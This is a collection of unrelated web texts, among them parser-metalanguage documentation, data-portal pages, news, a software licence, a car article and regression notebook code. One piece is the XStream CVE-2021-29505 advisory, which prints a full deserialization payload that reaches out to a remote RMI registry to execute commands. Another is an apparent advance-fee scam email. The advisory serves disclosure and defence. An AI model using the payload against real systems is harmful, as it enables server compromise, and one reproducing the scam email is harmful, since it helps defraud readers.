If the translator finds the former situation (and note that the tag object is optional, as normal), it will output an appropriate error message, but continue as if the "correct" code had been found.
Note that the "is
" is required to
distinguish a table definition visually from an if block - basically,
"is:
translates as "start a new tuple" whereas a bare
":
" means "start an if block".
Back to Contents
The following table gives a brief summary of how the metalanguage works:
| "Tuple" representation | Metalanguage representation |
tag_table = (tuples) |
tag_table = Table is:
tuples |
(tagobj,command,argument,jfalse,jtrue) |
tagobj = command argument F:.. T:..
|
(None,command,argument,jfalse,jtrue) |
command argument F:.. T:..
|
(None,command,argument,jfalse) |
command argument F:..
|
(None,command,argument,MatchFail,jtrue) |
command argument T:..
|
(None,command,argument) |
command argument
|
(None,Jump,To,jfalse) |
Jump To ..
|
(tagobj,Table,(tuples)) |
tagobj = Table is:
tuples |
(None,command,argument,+1,+3),
tuple1, tuple2, tuple3, |
command argument F:next T:<label>
tuple1 tuple2 <label>
tuple3 |
(None,command,argument,+3,+1),
tuple1, tuple2, tuple3, |
command argument:
tuple1 tuple2 tuple3 |
The following is an expansion of the "Tagging Commands" table in mxTextTools:
| Command | Arguments that go with it | Metalanguage representation |
| Fail | Here |
Fail Here
|
| Jump | To |
Jump To <label>
(although the more 'literal' Jump To F:<label>
will also work)
|
| AllIn | string |
AllIn string
|
| AllNotIn | string |
AllNotIn string
|
| AllInSet | set |
AllInSet set
|
| Is | character |
Is character
|
| IsNot | character |
IsNot character
|
| IsIn | string |
IsIn string
|
| IsNotIn | string |
IsNotIn string
|
| IsInSet | set |
IsInSet set
|
| Word | string |
Word string
|
| WordStart | string |
WordStart string
|
| WordEnd | string |
WordEnd string
|
| sWordStart | search-object |
sWordStart search-object
|
| sWordEnd | search-object |
sWordEnd search-object
|
| sFindWord | search-object |
sFindWord search-object
|
| Call | function |
Call function
|
| CallArg | (function,[arg0,...]) |
CallArg(function,[arg0,...])
(not yet available) Note that whitespace around the parentheses is optional. |
| Table | ThisTable or
tagtable-name or tagtable |
Table ThisTable or
Table tagtable-name or
Table is:
tagtable
|
| SubTable | ThisTable or
tagtable-name or tagtable |
SubTable ThisTable or
SubTable tagtable-name or
SubTable is:
tagtable
|
| TableInList | (list_of_tables,index) |
TableInList(list_of_tables,index)
(not yet available)
|
| SubTableInList | (list_of_tables,index) |
SubTableInList (list_of_tables,index) or
SubTableInList(list_of_tables,index)
(not yet available)
|
| EOF | Here |
EOF Here
|
| Skip | offset |
Skip offset or
Skip back (equivalent to Skip -1 )
|
| Move | position |
Move position or
Move ToEOF
|
| Loop | count |
Loop count
|
| LoopControl | Break/Reset |
LoopControl Break or
LoopControl Reset
|
Appending flags to the command (as in +<flag>
, where
<flag> is one of CallTag
,
AppendMatch
,
AppendToTagobj
or
AppendTagobj
) is not yet supported.
Back to Contents
These are things that the user must bear in mind, which are not likely to change.
<
and
>
) is an identifier, and thus follows the appropriate
rules.
T:
or F:
T:
or F:
and its target. This is purely
because I think it looks better that way. Some future version of the
translator may attempt to give a useful error message if the user gets
this wrong.
(This is about the only place where I intend to restrict the addition of "non-significant" whitespace. In particular, whitespace around "+" signs is legal, and whitespace before and after "(" and ")" will be allowed when I support function calls, etc.)
These are likely to be resolved in future versions of the translator.
"'"
, but not '\''
or
"\""
).
The first two limitations will be removed, probably in the next release of the software. The last probably will not (unless it turns out to be trivial).
a[b]
).
The intention is ultimately to allow any Python entity that would be valid on the left hand side of an assignment (which is, of course, what we generate when we translate the above).
(Actually, the same parse is applied for "outer" tag tables as for inner, so one could parse an assignment to a string or integer. Of course, Python itself would then grumble later on. A future version of the translator will catch this potential error and grumble.)
back
" gets translated to
"-1
" (this is for use with "Skip
").
Arguments may currently be any of the words
"Here
", "ToEOF
", "To
",
"ThisTable
" or
"back
", or they may be a
string, an (unsigned) integer or an identifier.
It is possible to "add" arguments with "+
", so that
'abc' + "def"
is a legitimate argument (note that this does
not apply for "[Sub]Table is:
" lines).
No check is made that any particular argument makes sense with its command.
Back to Contents
Some of the following are also mentioned in Limitations above.
F:
" and "T:
" clauses.
One might represent this "directly" as:
Unfortunately, it looks like the "best" approach is just to move the true/false jumps to the start of the table definition:
I dither a little over whether a little more syntactic sugar would be nice here - for instance:
Note that there is still the issue of what one should do if
the conditions are of the form
"F:<label> T:next
",
which would normally be represented as the start of an if block - my
inclination is to say at this point "well, that's getting too complex
and we just won't cope", but I reserve the right to change my mind later
on when I've worried about it a bit more...
+
" modifications for
commands in a 'normal' tuple - for instance:
CallArg
,
TableInList
and SubTableInList
for similar
reasons.
/
" (as in normal
Python).
F
or T
condition. This would necessitate
keeping a log of Tuples defined (but we couldn't guarantee to
recognise a tuple by "name", of course - e.g., given
"tuple[3] = ...
" we would not know what to do if
we later referred to that as "tuple[a]
".
Also, if the user does:
bbb
" is a tuple (or
tupleplus) if possible (this is actually almost the same point).
Table
s) from tagobjs (i.e., as used in tuples) so we can
grumble if the user uses the wrong sort at the wrong time.
The translator also needs to handle more valid Python targets for both assignment (of tag tables) and also for tag objects. I need to think about exactly how to do this - I don't really want to start having to be able to parse all legitimate Python source code explicitly "by hand".
Back to Contents
Finally, I've translated all of the examples from the Examples directory in the mxTextTools distribution (version 1.0.2), with some added comments in appropriate places. They can be seen (colourised with py2html) here (or as straight tag table, with no colourisation, here), and the results of translation are here (or, again, as unvarnished Python, here).
Back to Contents
Author: Tibs<EMAIL_ADDRESS>Last textual change: Tue Nov 16 09:17:38 GMT Standard Time 1999


Utils Module¶
The utils module includes helper functions. The module currently contains a single function to help users convert numeric indexes to datetime indexes. Additional helper functions could be added at a later date.
Note
The names of the functions below are of the convention path.path.function
. Only the function name is used when calling the function in MATLAB. For example, to call on mhkit.wave.io.read_NDBC_file
simply use read_NDBC_file
.
Functions |
Description |
|---|---|
|
Calculate mean, max, min and stdev statistics of continuous data for a given statistical window. |
|
Convert Excel datenum format to Python datetime |
-
mhkit.utils.
excel_to_datetime
(excel_num)¶ Convert excel datenum format to datetime
- Parameters
excel_num (vector) – vector of excel datenums to be converted
- Returns
time (DateTimeIndex) – vector of corresponding python datetime values
-
mhkit.utils.
get_statistics
(data, freq, varargin)¶ Calculate mean, max, min and stdev statistics of continuous data for a given statistical window. Default length of statistical window (period) is based on IEC TS 62600-3:2020 ED1. Also allows calculation of statistics for multiple statistical windows of continuous data.
- Parameters
data (strucutre) – structure of variables to get statistics for with field called time.
freq (double or int) – Sample rate of data [Hz]
period (double/int) – Statistical window of interest [sec], default = 600
- Returns
stats (structure) – Structure with mean, max, min, and stdev of each variable


2 dead, 3 injured in a school shooting in Russia
by EndPlayMOSCOW (AP) - A student killed a fellow student and wounded three more in a shooting Thursday at a college in Russia before taking his own life, police said.
Russia's state Investigative Committee said the 19-year-old shooter brought a hunting rifle to class in Blagoveshchensk near the border with China and opened fire on students, killing one and severely injuring three more.
It wasn't immediately clear what prompted the attack. The attacker shot himself soon after the police arrived.
While school shootings are relatively rare in Russia, there have been several violent attacks by students in recent years.
The college was evacuated and classes suspended. Two injured students underwent surgery in a local hospital, and one of them remained in critical condition.
Police are investigating the attack.


CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.
All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of a local command on the server.
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <soapPart/> <mm> <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>ip2</string> <int>1099</int> <long>0</long> <int>0</int> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>ip2</host> <port>1099</port> </ctx> </candidates> </aliases> </it> </mm> </multiPart> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream.
See workarounds for the different versions covering all CVEs.
V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.


Title in head
Title in title
Text In h1 in body
Text in h2 in body
more text in body
line of text after 'break'


--- layout: page status: publish published: true title: Aquifers author: display_name: AGRC Staff login: Map Utah email<EMAIL_ADDRESS>url: '' author_login: Map Utah author_email<EMAIL_ADDRESS>wordpress_id: 9918 wordpress_url: http://gis.utah.gov/?page_id=9918 date: '2012-06-18 12:25:39 -0600' date_gmt: '2012-06-18 18:25:39 -0600' categories: [] tags: - SDE - sgid - Data - utah - gis - map - mapping - dataset - download - agrc - layer - shapefile - geodatabase - shp - digital - geographic - database - vector - arcgis - usgs - geoscience - aquifers - deq ---
Data Type: GIS Data Layer
Steward(s): AGRC, USGS and DEQ
Abstract:
The Aquifers data package contains the Recharge Discharge Areas and the Basin Fill Boundaries along the Wasatch Front and adjacent areas.
Data Content:
The following data is available for download:
Download Recharge Discharge Areas:
Other Links:
Download Basin Fill Boundary:
Other Links:


LatamTech is a Network for sharing ideas, contacts and knowledge related to the Latin American tech ecosystem. We are a group of Harvard and MIT students and alumni who support technological adoption in Latin-American industries and governments.
Get involvedWe aim to boost the growth of the Latin-American tech landscape through creating a space that allows for a rich interaction between researchers, professionals and policy-makers connected to the field.
If you are in the region and want to be part of the network or receive mentorship and tech support from its members, contact us. If you are a student, a researcher or an entrepreneur in Cambridge, come and join our talks! Finally, if you have an interesting project that you would like to develop, check out our new Latam Data Fellows initiative!
Join our network View our calendar Latam Data FellowsWe connect people in the network to the key players in technology and policy making. If you are an entrepreneur, an investor or a policy maker working with tech in the region, we want to get to know you. Our meetings connect innovation opportunities across the region.
We share the latest news, research papers and interesting ideas in the tech world. Our current focus is the Artificial Intelligence agenda for Latin America.
Latam Tech members are all about supporting innovations in the region. If you are trying to launch a tech-driven project and need support, this is the place to find an amazing pool of talent.
You can leave feedback here, coming very soon.
Any questions on LatamTech? Don't hesitate to contact us! We will be happy to answer any inquiry and we will get back to you as soon as possible!
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Open Modal
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Open Image Modal
Zakynthos - Shipwreck
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Open Modal 1
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Open Modal 3
Modal Demo of relatedTarget


Open4Energy has been exposing consumer energy scams for three years now. Although the product names change regularly, the majority of the scams fall into one of three categories; free energy scams; renewable energy scams; and power factor correction scams. The scams follow a typical pattern; giving a true energy fact; an abductive distortion of this fact; suggestion of a conspiracy to hide the products saving potential; and concluding with a must buy now financial appeal.
I have included this summary in the hope that the open source community will do it's bit to raise awareness in the community of this unfortunate activity, and help us stamp it out whenever we can.
Free Energy Scams
Energy Fact: Pioneer researcher Howard Johnson began investigating magnetism in 1942 as a graduate student at Vanderbilt University, studying Bohr's work on the electron. His US Patent #4,151,431 was filed in December 1973. But the offer of downloadable plans to build a Magnetically Powered Generator - based on this patent is a scam. The patent expired in 2009, friction prevents any possibility of perpetual motion, and the idea you can build a real home generator using these plans is ridiculous.
Renewable Energy Scams
Energy Fact: Residential solar panels and Small Scale Distributed Wind turbines are legitimate renewable energy solutions. But any plans to build your own solar panel out of silicon is a scam. It is possible to reduce the installation costs of solar with some DIY, but you always require a permit and a licensed electrician for connecting to the grid. The guide to small scale wind is simple; higher is better. Only consider wind systems that have been approved by the Distributed, and qualify for a state subsidy where available.
Power Factor Correction
Energy Fact: Power factor is the ratio of the real power flowing to the load to the apparent power in the circuit. It is easy to misunderstand the meaning of this term and think that increasing power factor by 25% will save 25% of the electricity bill. Although this ratio can be altered using capacitors, doing so will not save a residential rate payer a single penny. We are grateful to PG&E who gave us this public statement on residential power factor correction.
“The internal energy losses in the power factor correction capacitor(s) and wiring may offset or exceed any external energy savings in the home or business.” Charles Middelton, PG&E Engineer.
As the difficult economic times continue to bite into consumers' budgets we at Open4Energy are delighted to have the support of Smart Energy Portal to bring this growing problem of consumer energy scams (link is to Wiktionary) to the attention of the energy industry.
The part that has me most troubled is that a mere 4.4% of the visitors seeking information on a scam (they spend 52 seconds reading the page - real readers) go on to explore a page that will help them learn how to save electricity or a page with information on real products. I would have expected this to be much higher? Why, I ask myself, would you take the trouble to find a product that you think will save electricity, go to the Internet, do a search, find a page like ours, spend 52 seconds reading it, and then ignore all the quality information being offered for free?
Trystan, keep up the excellent work, and thanks for helping us spread the word on this nasty topic!
Alex
Re: Alert for Consumer Energy Scams
Power Factor Correction.
Many people might not realise that this could cost quite a lot if you do hang capacitors across the mains with the intention of 'improving' your power factor. As pointed out above, the domestic consumer (in the UK at least) pays for real power, there is no cost and no penalty for taking reactive (virtual) power. But the system is generally inductive, adding capacitors will tend to set up a resonant circuit and increase the system voltage, which could reduce the life of each and every appliance connected.
So although the energy supplier will be happy for you to improve their power factor for them, there is absolutely no advantage to you in doing so.


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preflight.rb |
|
|---|---|
|
Before First, each user who can deploy the app needs to have an account on each server, and must be able to ssh into the box. They’ll also each need to be sudoers. Secondly, each deploying user should set their git
Finally, a user and group representing the application (and usually with the same name) should be created. Where possible, the application user will run application code, while the group will own application specific files. Each deploying user should be added to the application group. This preflight recipe checks each of these things in turn, and attempts to give helpful advice should a check fail. |
Capistrano::Configuration.instance(:must_exist).load do |
|
The preflight check is pretty quick, so run it before every |
before 'deploy:setup', 'preflight:check'
before 'deploy', 'preflight:check'
set(:remote_username) { capture('whoami').strip }
namespace :preflight do
task :check do |
|
First check the |
if capture("id #{application_user} > /dev/null 2>&1; echo $?").strip != "0"
abort %{
The application user '#{application_user}' doesn't exist. You can create this user by logging into the server and running:
sudo useradd #{application_user}
\n}
end |
|
Then the |
if capture("id -g #{application_group} > /dev/null 2>&1; echo $?").strip != "0"
abort %{
The application group '#{application_group}' doesn't exist. You can create this group by logging into the server and running:
sudo groupadd #{application_group}
sudo usermod --append -G #{application_group} #{application_user}
\n}
end |
|
Check the git configuration exists |
if capture('git config user.name || true').strip.empty? || capture('git config user.email || true').strip.empty?
abort %{
Your remote user must have a git user.name and user.email set. You can set these by logging into the server as #{remote_username} and running:
git config --global user.email<EMAIL_ADDRESS>git config --global user.name "Your Name"
\n}
end |
|
And finally check the remote user is a member of the |
unless capture('groups').split(" ").include?(application_group)
abort %{
Your remote user must be a member of the '#{application_group}' group in order to perform deployments. You can add yourself to this group by logging into the server and running:
sudo usermod --append -G #{application_group} #{remote_username}
\n}
end
end
end
end |


This is the beginning of my site. I can make words bold or italicized
This is a link to my favorite site:
I also learned the difference between Inline and Block elements
Examples of inline tags are the break* tag, the form tag and the span tag
Examples of block tags, which are intended to make a box of text are the paragraph tag, the strong tag and the div tag
*Note: Need to research how to put the actual tags into plain text so that the computer doesn't interpret as code.


Dear Friend, Good day to you and I hope that this e-mail will find you well and in good health. I write you this e-mail to seek for a possible investment co-operation and assistance inyour company. It will be my gladness to go into a possible investment co-operation in your company. If you are interested, do respond to me as soon as possible so that we can discuss in greater details. Do have a nice day and I look forward to read from you, soon.It will be my interest if you could reply to me through my private e-mail account<EMAIL_ADDRESS>to enable me explain the details of this project to you. Bye for now and stay blessed. Regards, Bryan Kanza. +221-6527007


A square peg doesn’t fit a round hole, but what if the peg was a hexagon and a little bit smaller than the hole? Evernote is the almost great solution to so many of my needs over the past 3 years.
Evernote in its most basic form is cloud storage for notes taken using a WYSIWYG style editor on your computer or device. It offers a simple folder structure and tag system to keep things organised. It’s real power comes from its Jack-of-all-trades approach. Here are just some of the uses I have for my own Evernote account:
A todo can be created instantly by adding a checkbox at the start of each item. Checked items are persistant, and the easily editable format allows you add or remove items as needed
GTD is a great way to organise and plan things without actually doing much organising and planing. Evernote is a quick way to start getting things done instead of spending all your time getting things ready.
I have also had success using Evernote as a personal Kanban and for Pomodoro tracking
Instead of taking notes on the back of an envelope or a post-it note (other brands are avaliable), Evernote is a great place to put notes that might be either useless and deleted tomorrow or something important that you need in 6 months time.
Creating a shared notebook is great for planing a trip, including logging itinerary information and being a repository for links to places to visit and things to do. I also share notebooks with work colleges to collaborate on things that only need to be worked on by a couple of people. It’s a great way to avoid email chains.
Each of my examples above can be done better with other tools. Many compromises need to be made and you will rarely end up with Evernote working exactly as you wanted. I have lost count the number of times I have Googled a question about a feature or task I wanted Evernote to do, only to find that it can’t do it. Simple things like resizing images, writing in markdown, using an Australian spelling dictionary instead of the US and placing a notebook inside a notebook are all impossible within Evernote. The formatting inside the WYSIWYG is very limited, especially when using tables.
This might seem like a bit of a rant, and to a certain extent it actually is. Evernote could be the greatest thing since sliced bread but it falls short in so many ways. But it is this simplicity and lack of features that make it so generic, so happy to do anything. There are so many uses for Evernote, so many improvements that could be made, so many tweaks that would make Evernote perfect for a single use case. Each tweak takes time, adds bloat to the software and takes away from the core core focus of the app - to be a digital notebook.
Evernote is my go-to app when I need to do anything quickly. Where is works, it works well. Where it falls short, there is often a work around or a compromise that isn't too bad. Failing that there is a better tool out there, but you might as well jot down some notes while you find it and wait for it to load up.


IMPORTANT! READ CAREFULLY:
THESE TERMS APPLY TO THE JETBRAINS INTEGRATED DEVELOPMENT ENVIRONMENT TOOLS CALLED ‘INTELLIJ IDEA COMMUNITY EDITION’ AND ‘PYCHARM COMMUNITY EDITION’ (SUCH TOOLS, “COMMUNITY EDITION” PRODUCTS) WHICH CONSIST OF 1) OPEN SOURCE SOFTWARE SUBJECT TO THE APACHE 2.0 LICENSE (AVAILABLE HERE: https://www.apache.org/licenses/LICENSE-2.0), AND 2) JETBRAINS PROPRIETARY SOFTWARE PLUGINS PROVIDED IN FREE-OF-CHARGE VERSIONS WHICH ARE SUBJECT TO TERMS DETAILED HERE: https://www.jetbrains.com/legal/community-bundled-plugins.
“JetBrains” or “we” means JetBrains s.r.o., with its principal place of business at Na Hrebenech II 1718/10, Prague, 14000, Czech Republic, registered in the Commercial Register maintained by the Municipal Court of Prague, Section C, File 86211, ID No.: 265 02 275.
“You” means any Organization or natural person using a Community Edition product in accordance with these terms, where “Organization” includes any corporation, company, partnership, association, or other entity that controls, is controlled by, or is under common control with you. For the purposes of this definition, “control” means (i) the power, directly or indirectly, to direct or manage such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
Personal Data — In connection with your use of Community Edition products, we and our associated companies will process your personal data, including but not limited to your contact and identification details, and data about your usage of our software and services, in order to (i) provide you with software, services, or information; (ii) protect us from piracy and unlawful use of our software or services; (iii) improve our offerings based on usage; (iv) create and maintain our internal records and to protect our rights and interests and those of other users; (v) promote and market our software and services; and vi) to fulfil legal duties stipulated by accounting, taxation, and other laws. You may object to the processing of your personal data for the purposes of (i) through (v) at any time. More detailed information can be found in our Privacy Policy, available here: https://www.jetbrains.com/legal/docs/privacy/privacy.html.
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EAP — you may elect to use Early Access, Beta, or Nightly versions of a Community Edition product under the JetBrains Early Access Program (“EAP”). This allows you to try pre-release versions and to evaluate newly planned features. Such use is subject to the JetBrains EAP User Agreement available at https://www.jetbrains.com/legal/docs/toolbox/user_eap.html. If you cease to use EAP products but continue to use the Community Edition, such use will continue to be governed by these terms.
Opportunity to review — You declare that you have had sufficient opportunity to review these terms, understand the content of all of its clauses, negotiate its terms, and seek independent professional legal advice in that respect before entering into it. Consequently, any statutory “form contract” (“adhesion contract”) regulations shall not be applicable to these terms.


Web Cryptography API test
Plain Text:
sha1
sha256
sha512
Hashed Text:
Plain Text:
encryptGCM
encryptCBC
encryptCTR
Cipher Text:
decryptGCM
decryptCBC
decryptCTR
Result:
Plain Text:
AES256-GCM-ENCRYPT
Cipher Text:
AES256_GCM_decrypt
Result:


Land Rover Defender By Overfinch Is A Green Gem With Massive Engine
The rear seats are gone. In their place, there's a teak cargo bed with a spare wheel holder.
by Chris BruceThere's a new generation of the Land Rover Defender getting headlines, but Overfinch continues to give attention to the original. The tuner's latest project is a one-off soft top pickup in a vivid shade of emerald green and a big engine under the hood.
Gallery: Overfinch Land Rover Defender Soft Top
Power receives a major upgrade from a General-Motors-sourced 6.2-liter V8. Overfinch doesn't outline the output, but these engines are famous for their easy tunability. The company also adds a stainless steel exhaust and carbon fiber engine cover. The output runs through an automatic gearbox and four-wheel-drive system.
See What Else Overfinch Can Do To Land Rovers:
While the vehicle is still capable of going off-road, Overfinch put a greater emphasis on luxury for this build. Using Defender 90 as the starting point, the company removed the second row's bench seat and replaced it with a teak cargo bed. For keeping things secure, there's a lockable storage box. A full-size spare tire has a special spot back there, too.
The occupants in front sit in Recaro sport seats that have emerald green and tan leather upholstery. The hides also cover the dashboard and steering wheel. The door handles, gearshift, handbrake, pedals, and instrument dials are chrome with a knurled finish.
Overfinch makes a few exterior tweaks, including fitting a custom hood with a sculpted power bulge. The company also fits a set of 18-inch wheels with green details that match the body's color. A removable soft top panel clips onto the roll bars to offer a little overhead protection.
A client commissioned Overfinch to build this vehicle. There's no info on its price, but with enough money, the company would surely create another if a buyer comes along.
Source: Overfinch
Show press release
OVERFINCH CREATE THE WORLD’S MOST UNIQUE SOFT TOP DEFENDER
The Land Rover Soft Top Defender redefined by Overfinch – a collector’s item
Overfinch, the world’s leading creator of bespoke Land Rover models, has released details of a one-of-one Soft Top Defender, specially commissioned by a client to add to their prized collection. The iconic 4x4 vehicle, finished in Overfinch Emerald Green, showcases the company’s ability to once again, take the Land Rover into a league of its own.
Since 1975, Overfinch has been enhancing the performance and aesthetics of the Land Rover marque; Overfinch famously won the 1981 Paris-Dakar Rally with an upgraded Range Rover using a re-designed gearbox system. Now, in 2019, Overfinch reaffirm their renowned craftsmanship skills and expertise in modification of the Land Rover marque to deliver and design rare vehicles for customers across the world.
The Overfinch 6.2L Soft Top Defender is a transformation from a Defender 90 which has been stripped down from a 4-seat configuration and rebuilt to a 2-seater. The deep Emerald Green exterior is colour-coordinated with a removable soft top cover that clips onto the specially constructed roll-over protection cage. Completing the statement exterior, Overfinch has converted the rear load space using marine-grade teak and built a lockable storage box finished with the addition of an Overfinch ‘Special-Commission’ plaque.
Most notable, but concealed beneath the bonnet, lies the new, zero-mileage 6.2L General Motors carbon fibre encased engine. Emitting a powerful performance of speeds limited to 110MPH, the remastered Defender makes for an impressive drive with uprated 6 piston front and 4 piston rear brakes, all controlled by the automatic transmission system and complemented by the Overfinch stainless-steel sport exhaust system.
This rare Overfinch commission is a statement vehicle. Recaro sports seats trimmed in Emerald and Tan leather have been fitted which feature contrast stitching, with a dashboard and steering wheel fully upholstered to match; a complete makeover from its original utilitarian styling. Overfinch go the extra mile with fine knurling on tactile chrome components, such as door handles, gear selector, handbrake, pedals and instrument dials.
Recognisably an Overfinch commission, the handcrafted lettering adorns the bonnet and other branded intricacies featured on the door handles, fuel cap, wheel caps, side sills and headrests elevate this Defender an entire new level. The 18” Apollo alloy wheels, designed by Overfinch, are colour coded in bespoke Emerald Green to finish off the look.
Kevin Sloane, CEO and Chairman of Overfinch commented, “This Defender demonstrates our DNA of Land Rover restoration and contemporary styling. We have remastered the Defender to make our customer’s dream a reality.
“Each unique detail in this conversion guarantees to stand it as the most unique Defender in the world. Exclusivity is a request which many of our clients seek, and we have every ability to deliver it. At Overfinch, our specialist conversion team source pristine Land Rover vehicles and restore them impeccably into elegant collector’s items.”
Overfinch operate across the globe, allowing clients the ability to design bespoke Range Rover and Land Rover vehicles, with the only limit being one’s imagination.


from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def chf(x, n): # The basis function to be used. This is how our training Y relates to input X.
return np.cos(n*np.arccos(x)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 200 # Training points
X1lin = np.linspace(-1,0,X1pts) # Training interval (training input variable values)
y1 = chf(X1lin, 1)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys (our labels)
X1ptsPred = 400 # Prediction points
X1linPred = np.linspace(-1,1,X1ptsPred)# Prediction interval (real input variable values)
y1True = chf(X1linPred,1)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval (for verification)
Achf = np.stack((np.ones(X1pts),X1lin)).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred)).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
print(np.array(y1).shape)
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def chf(x, n): # The basis function to be used. This is how our training Y relates to input X.
return np.cos(n*np.arccos(x)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 200 # Training points
X1lin = np.linspace(-1,0,X1pts) # Training interval
y1 = chf(X1lin, 2)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 400 # Prediction points
X1linPred = np.linspace(-1,1,X1ptsPred)# Prediction interval
y1True = chf(X1linPred,2)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin)).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred)).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def chf(x, n): # The basis function to be used. This is how our training Y relates to input X.
return np.cos(n*np.arccos(x)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 40 # Training points
X1lin = np.linspace(-1,0,X1pts) # Training interval
y1 = chf(X1lin, 2)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 80 # Prediction points
X1linPred = np.linspace(-1,1,X1ptsPred)# Prediction interval
y1True = chf(X1linPred,2)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin,np.square(X1lin))).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred,np.square(X1linPred))).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
#plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def chf(x, n): # The basis function to be used. This is how our training Y relates to input X.
return np.cos(n*np.arccos(x)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 40 # Training points
X1lin = np.linspace(-0.5,0.5,X1pts) # Training interval
y1 = chf(X1lin, 2)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 80 # Prediction points
X1linPred = np.linspace(-1,1,X1ptsPred)# Prediction interval
y1True = chf(X1linPred,2)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin,np.square(X1lin))).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred,np.square(X1linPred))).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
#plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def f(x): # The basis function to be used. This is how our training Y relates to input X.
return 0.5*(x)*(x**4)/(.05+(x**4)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 20 # Training points
X1lin = np.linspace(0,1,X1pts) # Training interval
y1 = f(X1lin)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 40 # Prediction points
X1linPred = np.linspace(0,2,X1ptsPred)# Prediction interval
